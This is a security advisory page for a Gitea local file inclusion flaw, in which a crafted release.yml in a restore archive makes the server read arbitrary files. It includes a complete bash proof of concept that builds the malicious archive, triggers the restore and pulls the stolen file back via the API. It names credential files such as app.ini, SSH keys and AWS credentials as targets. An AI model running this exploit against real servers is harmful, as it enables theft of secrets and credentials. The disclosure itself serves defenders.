🛡️ CVE-2026-58420 — gitea.dev
Description
Gitea: Local File Inclusion via file:// URI in Migration Restore
# Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea
Component: services/migrations/gitea_uploader.go, modules/uri/uri.go
Severity: High
Affected Versions: <= v1.22.x (all releases), master as of latest commit
Researchers:
- Isa Can — Eresus Security (https://github.com/isa0-gh)
- Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
- app.ini — containing database passwords and secret keys
- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
- TLS certificates and private keys
- Cloud provider credential files (e.g. ~/.aws/credentials)
- Any other file readable by the Gitea process user
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
Affected Code
modules/uri/uri.go
```
func Open(rawURL string) (io.ReadCloser, error) {
u, err := url.Parse(rawURL)
if err != nil {
return nil, err
}
switch u.Scheme {
case "http", "https":
resp, err := http.Get(rawURL)
...
case "file":
return os.Open(u.Path) // no scheme validation, no path restriction
}
}
```
services/migrations/gitea_uploader.go (~line 370)
```
func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
for _, rel := range releases {
for _, asset := range rel.Assets {
rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
...
// file content saved as release attachment
}
}
}
```
Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
1. Create a malicious archive containing release.yml:
```
releases:
- tag_name: v0.0.1
assets:
- name: exfiltrated.txt
download_url: "file:///etc/passwd"
```
2. Run restore:
```
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
```
3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
4. Retrieve via API:
```
curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
-H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'
```
PoC
> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
```
#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)
GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"
```
# 1. Create target org and repo via API
```
curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true
```
# 2. Build malicious archive
```
TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"
cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
- tag_name: v0.0.1
name: test
body: ""
draft: false
prerelease: false
assets:
- name: output.txt
download_url: "file://$TARGET_FILE"
size: 0
download_count: 0
YAML
cd "$TMP" && zip -r poc.zip bundles/
````
# 3. Trigger restore
```
gitea restore-repo \
--zip-path "$TMP/poc.zip" \
--owner "$OWNER" \
--repo "$REPO" \
--units release 2>&1
```
# 4. Retrieve exfiltrated content
```
echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
rm -rf "$TMP"
```
Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. Howev
How this vulnerability can be exploited
This issue can be reached with local access to the system, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity none, availability none.
Weakness class
CVE-2026-58420 is classified as CWE-73: External Control of File Name or Path. A caller can influence which file the application opens or writes, extending an operation to files that were never meant to be reachable.
Affected software
CVE-2026-58420 is recorded against 1 package.
- gitea.dev
Timeline and source
Published on 21 July 2026 and last revised on 22 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| gitea.dev | — | — |
References
Similar Threats
- Low CVE-2026-23603
- High CVE-2026-34966
- Unknown CVE-2026-42931
- Unknown CVE-2026-50105
- High CVE-2026-54481
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by CVE-2026-58420?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-58420 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.